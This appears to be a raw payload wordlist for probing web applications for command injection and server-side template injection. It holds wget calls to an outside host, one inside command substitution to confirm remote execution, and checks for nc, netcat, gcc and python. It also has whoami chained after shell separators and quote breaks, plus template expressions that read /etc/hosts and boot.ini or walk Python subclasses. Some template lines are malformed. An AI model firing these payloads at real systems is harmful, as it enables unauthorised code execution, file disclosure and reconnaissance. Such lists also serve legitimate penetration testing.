wget https://crowdshield.com/.testing/rce_vuln.txt
$(`wget
https://crowdshield.com/.testing/rce_vuln.txt?req=22jjffjbn`)
which curl
which gcc
which nc
which netcat
which perl
which python
which wget
whoami
| whoami
; whoami
' whoami
' || whoami
' & whoami
' && whoami
'; whoami
" whoami
" || whoami
" | whoami
" & whoami
" && whoami
"; whoami
$(`whoami`)
& whoami
&& whoami
{{ get_user_file("C:\boot.ini") }}
{{ get_user_file("/etc/hosts") }}
{{4+4}}
{{4+8}}
{{person.secret}}
{{person.name}}
{1} + {1}
{% For c in [1,2,3]%} {{c, c, c}} {% endfor%}
{{[] .__ Class __.__ base __.__ subclasses __ ()}}
```